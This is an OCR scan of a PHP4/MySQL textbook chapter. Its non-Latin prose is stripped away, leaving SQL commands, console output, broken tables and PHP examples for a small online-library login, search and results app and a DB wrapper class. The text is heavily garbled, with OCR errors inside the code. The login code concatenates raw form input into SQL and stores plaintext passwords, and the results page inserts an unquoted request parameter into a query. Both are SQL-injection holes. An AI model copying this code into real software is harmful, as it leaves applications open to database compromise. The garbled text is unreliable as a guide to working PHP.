

. , ,
, , . MySQL
mysqld (d - daemon), - mysql.
, mysql
. MySQL, SQL. - mysql MySQL http://www.mysql.com/documentation/.

673

, MySQL, -,
MySQL. MySQL MySQL.
, -.
- phpMyAdmin
http://phpmyadmin.sourceforge.net/.
, mysql.

CREATE DATABASE
CREATE DATABASE database_name
.
Library, mysql> :
mysql> CREATE DATABASE Library;
Query OK, 1 row affected (0.01 sec)
(;) . SQL
.

USE
!

USE database_name

, . mysql USE. L i b r a r y :

,:;

mysql> USE Library;


Database changed

, ,
SQL mysql,
. ,
mysql:
mysql Library

USE SQL.
,
inysql_select_db() mysql_db_query() MySQL.
22 . 9S9

674

17. PHP MySQL

CREATE TABLE
CREATE [TEMPORARY] TABLE [IF NOT EXISTS] tbl_name [(create_definition,...)]
[table_options] [IGNORE(REPLACE select_statement]

create_def inition :
col.name data_type [NOT NULL | NULL] [DEFAULT default_value]
[AUTO_INCREMENT] [PRIMARY KEY] [reference_definition]
PRIMARY KEY (index_col_name,...)
KEY [index_name] (index_col_name,...)
INDEX [index_name] (index_col_name,...)
UNIQUE [INDEX] [index_name] (index_col_name,...)
FULLTEXT [INDEX] [index_name] (index_col_name,...)
[CONSTRAINT symbol] FOREIGN KEY index_name (index_col_name,...)
[refe rence_definition]
CHECK (expr)

CREATE TABLE .
, MySQL. . MySQL http://
www.mysql.com/documentation/.
details:
mysql> CREATE TABLE details (
ISBN VARCHAR (13) NOT NULL,
price FLOAT,
num_ofbooks INT (11) UNSIGNED NOT NULL,
num_booked INT (11) UNSIGNED NOT NULL,
seriesJD INT (11) NOT NULL,
PRIMARY KEY (ISBN)
);
Query OK, 0 rows affected (0.09 sec)

, MySQL:
VARCHAR -
INT -
FLOAT
,
SQL .

:
ISBN

675

NOT NULL ,
UNSIGNED ,

PRIMARY KEY ISBN .


.
CREATE title:
mysql> CREATE TABLE title (
ISBN VARCHAR (13) NOT NULL,
bOOk_title VARCHAR (255) NOT NULL,
PRIMARY KEY (ISBN)

):

Query OK, 0 rows affected (0.00 sec)


DESCRIBE
DESCRIBE MySQL .
. DESCRIBE, , CREATE TABLE.
Null ,
n u l l . Key , (PRI ). Default
, , Extra :
, roysql> DESCRIBE details;
| Field

| Type

| Null | Key

Default | Extra I

| ISBN
| varcfiar(13) | | PRI
I
I
| price | float
| YES | | NJLL | |
|
| num_of books int(10) unsigned | I I 0
| numjDooked | int(10) unsigned |
I 0
|
| series_ID | int(11)
| | |)
I
I

5 rows in set (0.02 sec)


:
mysql> CREATE TABLE author (
auth_ID INT (11) NOT NULL AUTO.INCREMENT,
authjiame VARCHAR (128) NOT NULL,
PRIMARY KEY (auth_IO)

);

Query OK, 0 rows affected (0.00 sec)


AUTO_INCREMENT.
AUTO_INCREMENT

676

17. PHP MySQL

. . AUTO_INCREMENT :
mysql> CREATE TABLE authortitle (
ISBN VARCHAR (13) NOT NULL,
auth_ID INT (11) NOT NULL,
PRIMARY KEY (ISBN, auth_ID)

);

Query OK, 0 rows affected (0.00 sec)


- ISBN auth_ID:
mysql> CREATE TABLE series (
series_ID INT (11) NOT NULL AUTO_INCREMENT,
book_series VARCHAR (64) NOT NULL,
PRIMARY KEY (series_ID)

);
Query OK, 0 rows affected (0.00 sec)
mysql> CREATE TABLE users (
username CHAR (32) NOT NULL,
password CHAR (32) NOT NULL,
PRIMARY KEY (username)

);
Query OK, 0 rows affected (0.00 sec)

VARCHAR
CHAR. VARCHAR
.
, , ELEPHANT , ,
VARCHAR .
, , .
, CHAR ,
. NULL.
,
CHAR .
, MySQL, CHAR
VARCHAR, - . CHAR VARCHAR
, VARCHAR.

ALTER TABLE
ALTER [IGNORE] TABLE tbl_name alter_spec [, alter_spec ...]

677

11_:
ADD [COLUMN] create.definition [FIRST | AFTER column_name ]
ADD [COLUMN] (create_definition, create_definition,...)
ADD INDEX [index_name] (index_col_name,...)
ADD PRIMARY KEY (index_col_name,...)
ADD UNIQUE [index_name] (index_col_name,...)
ADD FULLTEXT [index_name] (index_col_name,...)
ADD [CONSTRAINT symbol] FOREIGN KEY index.name (index_col_name,...)
[reference_definition]
ALTER [COLUMN] col.name {SET DEFAULT literal | DROP DEFAULT}
CHANGE [COlUMN] old_col_name create_definition
MODIFY [COLUMN] create.definition
DROP [COLUMN] col_name
DROP PRIMARY KEY
DROP INDEX index_namej
RENAME [TO] new_tbl_name
ORDER BY col
table_options

ALTER TABLE . ,
details :
mysql> ALTER TABLE details ADO COLUMN pages INT (11) UNSIGNED AFTER price;
Query OK, 0 rows affected (0.01 sec). :
:
Records: 0 Duplicates: 0 Warnings: 0
mysql> DESCRIBE details;
+.

| Field

| Type

^.

I
|
|
|
|
|
+
6

__._

+-_--

| Null | Key | Default | Extra |

-|-_.. __

_._.__._-.+

+_..

-f

_.__4-

ISBN
| varchar(13) I | PRI |
|
|
price
| float
YES | '| NULL |
|
pages | int(11> unsigned | YES | | NULL |. ; |
num_of_books | int(11) unsigned I | : | 0 |
num_booked | int(11) unsigned | | | 0 | |
series_ID | int(11) | | | 0 | |
+.
+
+
-i+-,
rows in set (0.00 sec)

_-f

:
mysql> ALTER TABLE details DROP COLUMN pages;
Query OK, 0 rows affected (0.01 sec)
Records: 0 Duplicates: 0 Warnings: 0

DROP TABLE
DROP TABLE table_name [, table_name, ...];
( )
. Formats TimeZones:

678

17. PHP MySQL

raysql> DROP TABLE Formats, TimeZones;


Query OK, 0 rows affected (0.01 sec)
MySQL DROP TABLE.
, , :
mysql> DROP TABLE IF EXISTS Formats;
Query OK, 0 rows affected (0.01 sec)
SQL,

CREATE TABLE.

DROP DATABASE
DROP DATABASE database_name;
, , . , L i b r a r y :
mysql> DROP-DATABASE Library;
Query OK, 0 rows affected (0.01 sec)


,
.

INSERT
INSERT [LOW_PRIORITY | DELAYED] [IGNORE]
[INTO] tbljiame [(col_name,...)]
VALUES (expression,...),(...),...

INSERT [LOW.PRIORITY | DELAYED] [IGNORE]


[INTO] tbl_name [(col_name,...)]
SELECT^...

INSERT [LOW.PRIORITY | DELAYED] [IGNORE]


[INTO] tbl_name
SET col_name=expression, col_name=expression, ...
INSERT :
mysql> INSERT INTO title
VALUES ('1861005156', 'Beginning Databases with PostgreSQL');
Query OK, trow affected (0.00 sec)

679

, (). SQL , . NULL .


,
, .

REPLACE
REPLACE [LOW.PRIORITY | DELAYED] [IGNORE]
[INTO] tbl_name [(col_name,...)]
VALUES (expression,...),(...),...

REPLACE [LOW_PRIORITY | DELAYED] [IGNORE]


[INTO] tbl_name [(col_name,...)]
SELECT ...

REPLACE [LOW_PRIORITY | DELAYED] [IGNORE]


[INTO] tbl_name
SET col_name=expression, col_name=expresslon, ...
REPLACE INSERT -
, ,

. , .
, .
REPLACE , INSERT,
1861003730 :
mysql> REPLACE INTO title
VALUES C1861003730 1 , 'Beginning PHP4');
Query OK, 1 row affected (0.00 sec)

REPLACE
1861003730, :
mysql> REPLACE INTO title :
VALUES 1861003730', 'Some Other Title');
Query OK, 1 row affected (0.00 sec)
REPLACE
. SQL,
ANSI SQL, ,
.
, - . , -

17. PHP MySQL

680

MySQL Oracle DB2 ,


, .
.
DELETE
DELETE [LOW_PRIORITY] FROM tbl_name
[WHERE where_definition]
[LIMIT rows]
DELETE . WHERE -
DELETE, UPDATE SELECT. , .
, ISBN 1861003730:
mysql> DELETE FROM title WHERE ISBN = '1861003730';
Query OK, 1 row affected (0.00 sec)

WHERE DELETE, ( SQL LIMIT).

UPDATE
UPDATE [LOW_PRIORITY] [IGNORE] tbl_name
SET col_name1=expr1, [col_name2=expr2, ...]
[WHERE where_definition]
[ORDER BY ...]
[LIMIT ]
UPDATE , . REPLACE. . UPDATE:
mysql> UPDATE title
SET book_title='A New Title'
WHERE ISBN='1861003730';
Query OK, 1 row affected (0.00 sec)
Rows matched: 1 Changed: 1 Warnings: 0
WHERE. , ,
ISBN. , ISBN
.
WHERE UPDATE, ( SQL LIMIT).
SELECT
SELECT [STRAIGHT.JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT]
[SOL_BUFFER_RESULT] [HIGH_PRIORITY]

681

[DISTINCT | DISTINCTROW | ALL]


select_expression,...
[INTO {OUTFILE | DUMPFILE} 'filename1 export_options]
[FROM table.references
[WHERE where_definition]
[GROUP BY {unsigned_integer | col_name | formula} [ASC | DESC], ...]
[HAVING where.definition]
[ORDER BY {unsigned_integer | col_name | formula} [ASC | DESC] ,...]
[LIMIT [offset,] rows]
[PROCEDURE procedure_name]
]
SELECT .
,
. select_expression :
mysql> SELECT ISBN, price FROM details;

ISBN

1861003730 | 39 .95 I

1861005083 I 29 .95 I

| price i

1 1861005156 | 39 .95 |

1 1861002092 | 49 .95 I

1 1861005334 | 24 .95 |
.

_ _^

.f.

|-

5 rows in set (0. 09 sec)

(*):
mysql> SELECT * FROM
.

1 ISBN

'

'

4.

4.

| price I num_of_books | num.booked | series_ID |

j_
-

_L

1 1861003730 |
1 1861005156 |
1 1861005083 |
1 1861002092 |
1 1861005334 |
j_

details;
+

4-

39 .95
39 .95
29 .95
49 .95
24 .95

|
I
|
|
|
+

10
10
10
10
10

|
|
|
|
I

10 |
10
10
10
10
+

-)-____,.

1
1
1
1
1 |
+

4-

5 rows in set (0. 01 sec)

LIMIT . . LIMIT MySQL . , Sybase


Microsoft SQL Server,
- .
, 1 3:
mysql> SELECT ISBN, price FROM details LIMIT 1 , 3 ;

682

17. PHP MySQL


| ISBN

| price |

I 1861005156 | 39.95 |
| 1861005083 | 29.95 |
| 1861002092 | 49.95 |
+___ --+- - +
3 rows in set (0.00 sec)
WHERE SELECT ,
DELETE UPDATE. ,
39.95, :
mysql> SELECT * FROM details WHERE price >= 39.95;
.^

|
.j.
|
|
I

J_

-f;

4.

^.

-f,

ISBN "/ price | num_of_books | num_booked | series_ID |


_. _
+
+__ ^_
. +__
+____, _+.
1861003730 | 39.95 |
10 |
10 |
1861005156 | 39.95 |
10 |
10 |
1861002092 | 49.95 |
10 | 10 |
-- +

.j.

4-

3 rows in set (0.03 sec)

ORDER BY
:
mysql> SELECT * FROM details WHERE price >= '39.95' ORDER BY ISBN;

I
I

I
I

ISBN

| price | num_of books I num_booked | series_ID |

1861002092 | 49 .95 I
1861003730 | 39 .95 I
1861005156 | 39 .95 I

10 I
10 |
10 I

10 I
10 |
10 I

1 I
1 I
1 I

3 rows in set (0. 01 sec)

(join) . ,
, - a u t h o r a u t h o r t i t l e .
FROM WHERE:
mysql> SELECT authjiame, ISBN
FROM author, authortitle
WHERE: author. auth_ID = authortitle. auth_ID;
I auth_name~ | ISBN

683

I Jon Parise | 0-440-18462-2 |


I Jon Parise | 1-861-00515-6 |
2 rows in set (0.01 sec)

WHERE table_name. field_name. , , auth_ID, .


. , ISBN . title,
FROM :
mysql> SELECT auth_name, book_title
FROM author, authortitle, title
WHERE author. auth_ID = authortitle. auth_ID
AND title. ISBN = authortitle. ISBN;
authjiame | book_title

I Jon Parise | A Good Book


|
1 Jon Parise | Beginning Databases with PostgreSQL |
-|-_____

-- +

__-

. _

--:

_-f

2 rows in set (0.02 sec)

. SQL (0,02 . ) .


details , :
mysql> SELECT * FROM details
WHERE price >= 39.95;
+ ------------ + ------- +--- ------- ---- + ------------ + ----------- +
| ISBN | price | num_of_books | num_booked | series_ID |
1861003730
1861005156
1861002092

39.95 |
39.95 |
49.95 |

10 |
I
I

10 | 1
10 I
1
10 | 1

3 rows in set (0.03 sec)

,
, , price
. , -

684

17. PHP MySQL

, , ! price .

. , , . .
. .
, , . ,
.
. SELECT, UPDATE, INSERT, REPLACE
DELETE, .
, , , - , ,
WHERE SELECT. ,
. .
- , SELECT , INSERT, UPDATE DELETE. ,
, .
. XML,
, .
MySQL CREATE TABLE ALTER
TABLE, , CREATE
INDEX:
mysql> ALTER TABLE details
ADD INDEX price_index (price);
Query OK, 5 rows affected (0.08 sec)
Records: 5 Duplicates: 0 Warnings: 0
mysql> SELECT * FROM details WHERE price >= '39.95';
-f

I ISBN

4.

+__

-f.

4.

i!

4.

| price | num_of_books | num_booked | seriesJD |

| 1861003730 | 39.95 [
| 1861005156 | 39.95 |
| 1861002092 | 49.95 |

10 I
10 |
10 |

10 | 1 I
10 | 1 i
10 I
1 I

3 rows in set (0.01 sec)


, SELECT
. - :
0,01 0,03 . .

685


SELECT ,
.
0,07 .

SQL,
. ,
SQL .
. 50
:
, .
, ,
, . , 50 .
, 50 . , - ,
.
.
BEGIN COMMIT:
BEGIN;

UPDATE Accounts SET balance = 450 WHERE username = 'jon';


UPDATE Accounts SET balance = 550 WHERE username = 'martin';
COMMIT;

UPDATE ,
COMMIT. - , , ROLLBACK, a
COMMIT. ROLLBACK , BEGIN.
MySQL (,
INNOBASE GEMINI) . BEGIN, COMMIT ROLLBACK MySQL.
MySQL My ISAM,
; ,
MySQL
Sleepycat Software, Innobase NuSphere.
. MySQL MySQL.

686

17. PHP MySQL

PHP
, MySQL,
mSQL, PostgreSQL, Interbase, Ingres, Informix, Oracle, Sybase, MS SQL Server, filePro dBASE.
, Adabas D, Solid IBM
DB2, ( ) ODBC.
Berkeley DB, Sleepycat Software
GNU, DBM DBA.

.
.
. SQL
, SQL, MySQL, . . MySQL
. SQL ISO, ANSI, , , .

MySQL

MySQL.
http://www.php.net/mysql/.
mysql_connect()
resource mysql_connect( [string hostname [:port] [: /path/to/socket]]
[, string username] [, string password])

MySQL ( localhost, ). false :


<?php

$conn = mysql_connect("localhost", "jon", "secret")


or die( "Could not connect to MySQL.");
echo( "Connection successful.");
mysql_close($conn); '

"

"

mysql_connect() ,
, . mysql_close() .

PHP

687

mysql_pconnect()
resource mysql_pconnect( [string hostname [:port] [: /path/to/socket]]
[, string username [, string password]])

p persistent -
- mysql_pconnect() , mysql_connect(),
mysql_close() . .
mysql_pconnect( ) , . ,
, . CGI. , ,
-, CGI.
, , . .
,
(
). .
mysql_close()
boolean mysql_close([resource link_identifier])
MySQL, , t r u e false :
<?php
$conn = mysql_connect("localhost", "jon", "secret")
or die("Could not connect to MySQL.");
mysql_close($conn);

mysql_select_db()
boolean mysql_select_db( string database_name [, resource link_identifier])
USE MySQL. . mysql_qu( ) :
<?
$conn = mysql_connect("localhost", "jon", "secret")
or die("Could not connect to MySQL.");

688

17. PHP MySQL

$selected = mysql_select_db("Library", $conn)


or die("Could not select database.");
mysql_close($conn);

?>

mysql_query()
resource mysql_query(string query [, resource link_identifier])

mysql_query() MySQL
SQL, . , SELECT,
true false .
SELECT
false .
mysql_result() mysql_fetch_*() ( ) :
<?php

$conn = mysql_connect("localhost", "jon", "secret")


or die("Could not connect to MySQL.");
Sselected = mysql_select_db("Library", $conn)
or die("Could not select database.");
Sresult = mysql_query("SELECT * from author");
mysql_close($conn);
?>

mysql_affected_rows()
int mysql_affected_rows([resource link_identifier])
mysql_affected_rows() ,
INSERT, REPLACE, UPDATE DELETE link_identifier:
<?php

$conn = mysql_connect("localhost", "jon", "secret")


or dle("Could,not connect to MySQL.");
Sselected = mysql_select_db("Library", $conn)
or die("Could not select database.");
$sql = "UPDATE details SET num_of_books=9 WHERE ISBN='1861003730'";
Sresult = mysql_query($sql, $conn);
if (Sresult) {
SaffectedRows = mysql_affected_rows($conn);
echo("$affectedRows record(s) updated.");
} else {
echo("Query failed: $sql");
}
mysql_close($conn);
?>
, , (nysql_num_rows(), mysql_affected_rows() ,
.

PHP

689

mysql_num_rows()
int mysql_num_rows( resource result)

mysql_num_rows()
SELECT. , :
<?php
$conn = mysql_connect("localhost", "jon", "secret")
or die("Could not connect to MySQL.");
Sselected = mysql_select_db( "Library", $conn)
or die( "Could not select database.");
$sql = "SELECT book_title FROM title";
Sresult = mysql_guery($sql, $conn);
if (Sresult) {
$numRows = mysql_num_rows($result);
echo("$numRows record(s) retrieved.");
} else {
echo( "Query failed: $sql");
}
mysql_close($conn);

mysql_affected_rows(), mysql_num_rows()
,
.
mysql_result()
mixed mysql_result( resource result, int row [, mixed field])
mysql_result() , mysql_que ry( ) . uiysql_fetch( ),
.
, mysql_result( ):
<?php
$conn = mysql_connect("localhost", "jon", "secret")
or die("Could not connect to MySQL.");
Sselected = mysql_select_db("Library", $conn)
or die("Could not select database.");
$sql = "SELECT book_title FROM title";
Sresult = mysql_query($sql, $conn);
if (Sresult) {
$title = mysql_result($result, 0, 'book_title');
echoC'The title of the first book is Stitle.");
} else {
echo( "Query failed: Ssql");
>
mysql_close($conn);

690

17. PHP MySQL

mysql_fetch_object()
object mysql_fetch_objeot(resource result, [int result_type])

mysql_fetch_object() SELECT.
, . , mysql_fetch_object() false.
:
<?php

// ( .,.)
$sql = "SELECT ISBN, bookjtitle FROM title";
$result = mysql_query($sql, $conn);
while:($row = mysql_fetch_object($result)) {
echoC'ISBN: " . htmlspecialchars($row->ISBN) .,
^ ", Title: " . htmlspecialchars($row->book_title) . "<br />");
.}
mysql_free_result($result);
mysql_close($conn);
?>
mysql_fetch_object() w h i l e ,
. mysql_fetch_object() . , mysql_fetch_object() false, .
. htmlspecialcharsO ,
( < &)
.
mysql_fetch_row()
array mysql_fetch_row(resource result)

mysql_fetch_row() mysql_fetch_object(), , ,
:
<?php
// ( ...)
$sql = "SELECT ISBN, bookjritle FROM title";
Sresult = mysql_query($sql, Sconn);
while ($row = mysql_fetch_row($result)).{
echoC'ISBN: " . htmlspecialchars($row[0]) .
'..", Title: " . htmlspecialchars($row[1]) . "<br />"j;
>
' <
mysql_free_result($result);
mysql_close($conn);

PHP

691

mysql_fetch_assoc()
array mysql_fetch_assoc(resource result)

mysql_fetch_assoc() mysql_fetch_row(), , :
<?php

// ( ,..)
$sql = "SELECT ISBN, bookjtitle FROM title";
$result = mysql_query($sql, $conn);
while ($row = mysql_fetch_assoc($result)) {
echo("ISBN: " . htmlspecialchars($row["ISBN"]) .
.". Title: " . htmlspecialchars($row["book_title"]) . "<br />");

I ':-:;

mysql_free_result($result);
mysql_close($conn);
?>

mysql_free_result()
int mysql_free_result(resource result)

mysql_free_result() , . ,

, .
mysql_insert_id()
int mysql_insert_id([resource link_identifier])

, . , AUTO_INCREMENT.
AUTO_INCREMENT
ID ID .
mysql_insert_id() AUTO_INCREMENT, INSERT.
AUTO_INCREMENT, 0.


, . - , . ,
. .
.
, ,

692

17. PHP MySQL

.
(login . php):
<html>
<head>
<title>0nline Library - Login</title>
</head>
<body bgcolor="#ffffff" text="000000">
<h2>0nline Library - Login</h2>
<form action="login.php" method="POST">
Username: <input name="username" type="text" /><br />
Password: <input name="password" type="password" /xbr />
<input type="submit" value="Log in"/>
</form>

</body>
</html>
HTML . , , . :
<?php
//
$conn = mysql_connect( 'localhost' , 'jon', 'secret') or die(mysql_error());
mysql_select_db( 'Library' , Sconn) or die(mysql_error());
//
mysql_close( Sconn ) ;
<html>
<head>
<title>0nline Library - Login</title>
</head>
<body bgcolor="#ffffff" text="#000000">
<h2>0nline Library - Login</h2>
<form action="login. php" method="POST">
Username: <input name="username" type="text" /><br />
Password: <input name="password" type="password" /xbr />
<input type="submit" value="Log in">
</form>
</body>
</html>

PHP

693

. ,
. -
, , . , :
<?php

//
Susername = $HTTP_POST_VARS[' username'];
Spassword = $HTTP_POST_VARS[ ' password'];
// ,
// .
if (isset($username) && isset($password)) {
//
$conn = mysql_connect( 'localhost' , 'jon', 'secret')
or die(mysql_error());
mysql_select_db( ' Library ', Sconn) or die(mysql_error());
//
mysql_close($conn);

,
.
:
<?
//
Susername = $HTTP_POST_VARS[' username'];
Spassword = $HTTP_POST_VARS[ ' password'];
// ,
// .
if (isset($username) && isset($password)) {
//
$conn = mysql_connect( 'localhost' , ' j o n ' , 'secret')
or die(mysql_error());
mysql_select_db( 'Library' , $conn) or die(mysql_error());
// ;
$sql = "SELECT username FROM users WHERE username = ' " .
Susername . '" and password = ' " . $password . ..... ;
Sresult = mysql_query($sql, Sconn);
//
Ssuccess = false;

17. MySQL

694

if (@mysql_result($result, 0, 0) == Susern'ame) {
$success = true;

//
mysql_close($conn);
//
if (Ssuccess) {
header( 'Location: search, php');

users, .
, :
if (@mysql_result($ result, 0, 0) == Susername) {
$success = true;
'
header( )
search . php:
//
if ($success) { ' .
headerC Location: search. php');
Location: URL (http://
www.example.com/search.php), URI (search.php /directory/search. php). .

, Login failure! , :
<html>
<head>
<title>0nline Library - Login</title>
</head>
<body bgcolor="#ffffff" text="#000000">
<h2>0nline Library - Login</h2>
<?php if (isset($success) && !$success): ?>
<div style="color: #ccOOOO"><b>Login failure! </bx/div>
<?php endif ; ?>.

PHP

695

<form action="login.php" method="POST">


Username: <input name="username" type="text" /><br />
Password: <input name="password" type="password" /><br />
<input type="submit" value="Log in" />
</form>

</body>
</htral>
,
users:
mysql> INSERT INTO users VALUES Cjon', 'secret');
Query OK, 1 row affected (0.00 sec)

login, php (. 17.8):


, localhot/Pi-oPHP4/Chapterl7/lofli.php

Eile Edit View Search go Bookmarks lasks tWp

Online Library - Login


Usemame:
Password:
Login I
Document: Don* (0.31 sees)

. 17.8. login.php

search, p h p . . HTML, :
<html>
<head>
<title>0nline Library - Search</title>
</head>
<body bgcolor="#ffffff" text="#000000">
<h2>0nline Library - Search</h2>
<form action="results.php" method="GET">
Query: <input name="query" type="text" /xbr />
Type:
<select name="type">
<option value="isbn">ISBN</option>
<option value="author">Author</option>
<option value="title">Title</option>
</selectxbr />

696

17. PHP MySQL

<input type="submit" value="Search"/input>


</form>
</body>
</html>
,
. series_ID,
<select>,
. .
:
<form action="results.php" method="GET">
Query: <input riame="query" type="text" /><br />
Series: <select name="series">
<?php
// MySQL
$conn = mysql_connect('localhost', 'jon', 'secret') or die(mysql_error());
;

,//
mysql_select_db('Library', $conn) or die(mysql_error());
//
$sql = "SELECT series_ID, book_series FROM series";
$result = mysql_query($sql, $conn);

, mysql_qu(). , mysql_fetch_assoc().
<option> :
// <option> <select>
if ($result && (mysql_num_rows($result) > 0)) {
while ($row = mysql_fetch_assoc($result)) { >
s p r i n t f ( ) <option> -
. , , $row[ ' s e r i e s _ I D ' ] ,
$row[ 'book_series' ] -:
$option = sprintf('<option value="%d">%s</option>',
$row['series_ID'], $row['book_series']);
echo("$option\n");

}
} else {
echo("<option>No series are available</option>\n");
}
//

697

PHP
mysql_close($conn);
?>
x/selectxbr />
Type:
<select name="type">
<option value="isbn">ISBN</option>
<option value="author">Author</option>
<option value="title">Title</option>
</selectxbr />
<input type="submit" value="Search"/>
</form>

<option> , series.
, : "No series are available".
s e a r c h . php (. 17.9):

.*

:Nhttp://localhost/ProPHP4/ChapterI7/e
*' " Search So &mkm3rks Iasl<5 |

21 yl \ H E

Online Library - Search


Query:
Series:

Puc. 1 7.9.
. HTML results . p h p :
<head>
<title>0nline Library - Results</title>
</head>
<body bgcolor="#ffffff" text="#000000">
<h2>0nline Library - Results</h2>
<table border="1" cellpadding="3" cellspacing="l">
<tr>
<th>Title</th>
: ;, <th>Author</th> ;
<th>Price</th>

698

- 17. PHP MySQL

</tr>
</table>
<a href="search.php">Search Again</a>
</body>
</html>
:
<html>
<head>
<title>0nline Library - Results</title>
</head>
<body bgcolor="#ffffff" text="000000">
<h2>0nline Library - Results</h2>
<table border="1" cellpadding="3" cellspacing="1">
<tr>
<th>Title</th>
<th>Author</th>
<th>Price</th>
</tr>
<?php
// MySQL
$conn = mysql_connect('localhost', 'jon', 'secret') or die(mysql_error());
//
mysql_select_db('Library', $conn) or die(mysql_error());
//
$query = addslashes($HTTP_GET_VARS['query']);
$series = $HTTP_GET_VARS['series'];
$type = $HTTP_GET_VARS['type'];
SQL :
//
$sql = "SELECT book_title, auth_name, price " .
"FROM title, details, author, authortitle, series ": .
"WHERE author.auth_ID = authortitle.auth_ID AND " .
"authortitle.ISBN = title.ISBN AND title, ISBN = details.ISBN
"AND details. series_ID' = series.series_IO";
SQL , . SQL , . .
WHERE . ,
$type $query:

PHP

699

//
if (!empty($series)) {
;
$sql .= " AND series. Series ID = $series";
}
if (!empty($query) && !empty($type)) {
if ($type == 'isbn') {

$sql .=;" AND details. ISBN = '$query'";


} elseif ($type == 'author') {
$sql .= " AND author. authjiame LIKE '%$query%'";
} elseif ($type == 'title') {
$sql .= " AND title. book_title LIKE '%$query%'";

$result = mysql_query($sql, Sconn);


, HTML:

// <option> <select>
if ($result && (mysql_num_rows($result) > 0 ) ) ' {
while ($row = mysql_fetch_assoc($result)) {
<tr>

. <td><ux?php echo(htmlspecialchars($row[ 'book_title'])); ?></ux/td>


<tdx?php echo(htmlspecialchars($row['auth_name' ])); ?></td>
<td>$<?php echo(htmlspecialchars($row[ 'price'])); ?></td>
</tr>
<?php

}
.j.else' {

^ :'"..".':.'

';';.'. .',?: .:.:'"'':

echo("<tr><td colspan=\"3\">No matches were found. </td'x/tr>\n");

}
1
//
mysql_close ( Sconn );

</table>
<a href="search.php">Search Again</a>
</body>
</html>
, HTML .
,
.
results, php (. 17.10).

700

17. PHP MySQL


http:/localhost/ProPHP4/ChapterIT/resutauMk

Online Library - Results


Tide

| Author J Price I

professional PHP 41 Jon Panse I! $49.991


Search Again

Document! Don* 1.Ill s*cs)

Puc. 17.10.

. , , .
search. p h p , . , , .
. . 23.


API
. Oracle Oracle;
Informix - Informix, . .
,
. , , .
, , . SQL , ,
.

, ,
.

. ,
ANSI SQL, ,
.

PHP

701

, , .
SQL SQL-, ,
.
, REPLACE MySQL

.
,
. DB2
, ,
SQL-,
DB2 .
Microsoft Access Oracle,
SQL ,
, , Microsoft Access.
, , . , . ,
, , , SQL .
.
,
API :
function numRows($result)
{
//
retu rn (@pg_numrows ( $ result ));

PostgreSQL MySQL
:

function numRows($result)
//
retu rn(@fnysql_num_rows($ result));

, . PostgreSQL MySQL ;
. (, Oracle) numRows( ), , .

702

17. PHP MySQL

. , pg_fetch_object()
, mysql_fetch_object() sybase_fetch_object() .
, -
(, ). , Oracle fetch_object() (OCIFetchInto() ). , .



SQL, , - , , .
- - - . ,
( ) dbx(). . . , - .
, , . . , , :

PEAR (http://pear.php.net/)

PHPLIB (http://phplib.sourceforge.net/)

MetaBase (http://phpclasses.UpperDesign.com/browse.html/package/20/)

ADODB (http://php.weblogs.com/adodb/)
.

DB
DB.
DB.php.
MySQL. , 0, API. , MySQL,
SQL (, , SQL ).
:
<?php
class DB

PHP

703

/* */
var $host = ' ';
var $user = ' ' ;
var Spassword = ' ';
var $datahase = :"; '
var persistent = false;
/* */
var $conn = NULL;
/ Query result */
var Sresult = false;
function DB($host, $user, Spassword, $database, Spersistent = false)
<
$this->host = $host; ;v
$this->user = $user;
$this->password = Spassword;
$this->database := Sdatabase;
$this->persistent = $persistent;


.
($host, $user, Spassword, $database Spersistent). ($) ($ result).
. .
test.php,
DB:
<?php
require_once("DB.php");
= new DB('localhost', 'jon', 'secret', 'Library');

, DB (DB. php),
. . , ,
, .
.
.
DB , open () ,

704

17. PHP MySQL

( $this->persistent,
).
(.. mysql_pconnect() mysql_connect( ) ), $f :
function ()
. {
/* */
if ($this->persistent) {
$func = 'mysql_pconnect';
} else {
$func = 'mysql_connect' ;
,
( $f ).
, . $this->conn.
, - false.
false, ( ) false:
/* MySQL */
$this->conn = $func($this->host, $this->user, $this->password);
if (!$this->conn) {
return false;

,
.
mysql_select_db( ). false. true, :
/* */
if (@!mysql_select_db($this->database, $this->conn)) {
return false;
}
return true;
close( ) . mysql_close():
function close()
{
return(@mysql_close($this->conn));

PHP

705

, f a l s e .
, . , :
function error()
{
return (mysql_error());
}

m y s q l _ e r r o r ( ) . mysql_error( )
, MySQL.
test, ,

:
<?
require_once("DB.php");
$db = new DBClocalhost 1 , 'jon', 'secret', 'Library');
if (!$db->open()) {
die($db->error());

'.,. .' ..v. ;>:

' ' ,-4: .

if (!$db->close()) {
die($db->error());

, , .
query () SQL.
mysql_query() SQL. $this->result.
. , SELECT , DELETE
. , false. , q u e r y O t r u e
false , false , mysql_query(). false,
, , true. false:
function query($sql)
2? . 989

706

17. PHP MySQL

$this->result = @mysql_query($sql, $this->conn);


return($this->result != false);

}
, ,
:
function affectedRows()
{
return(@mysql_affected_rows($this->conn));
}
function numRowsO
{
return(mysql_num_rows($this->result));
}
, , :
function fetchObject() . ;.
{
return(@mysql_fetch_object($this->result, MYSQL_ASSOC));
}
function fetchArrayO
{
return(@mysql_fetch array($this->result, MYSQL_NUM));
}
function fetchAssocO
{
return (@mysql_fetch_assoc($this->result));
}
. , .
. , false.
, DB, f reeResult():
function freeResultO
'"{'
return(@mysql_free_result($this->result));

.
, .

PHP

707

DB
, DB.
REPLACE:
<?php
require_once 'DB.php';
$db = new DB('localhost', 'jon', 'secret', 'Library');
if (!$db->open()) {
die($db->error());
if (!$db->query("REPLACE INTO title VALUES ('1861003730', 'New Title')")) {
die($db->error());
echo("Affected rows: " , $db->affectedRows() . "<br />");
$db->freeResult();
$db->close();
(. 17.11):
W http:/ localhost/Pl

reptrt. e.php - tSetse

File Edit View Search Go Bookmarks lasks Help


i
-X

Affected rows: 2

Pp?umnt: Done (0.35 sees)

Puc. 17.11.

, . , SQL
. SELECT:
<?php
require_once("DB. php");
$db = new DB('localhost'

'jon', 'secret', 'Library');

if (!$db->open()) {
die($db->error());
if (!$db->query( "SELECT * FROM title")) {
die($db->error());

708

17. PHP MySQL

while ($row = $db->fetchAssoc()) {


echo("ISBN: " . htmlspecialchars($row['ISBN']) .
", title: " . htmlspecialchars($row['book_title'])

"<br />");

$db->freeResult();
$db->close();
(. 17.12):
SM http://localhost/ProPHP4/Chapterl 7/le*t sehsc
E* Sew Search p gookmarks lasks Help

ISBN: 1861005156, tide: Beginning Databases with PostgreSQL


: ISBN: 1861003730, tMe: New
ISBN: 1861006918, tide: Professional PHP 4
Document; Dons CS>33 sees)

. .

.. j

. ' . . . :: .;v.;;;;:!

Puc. 1 7.12. Select

, htmlspecialchars( ) - , ,
.
XHTML .
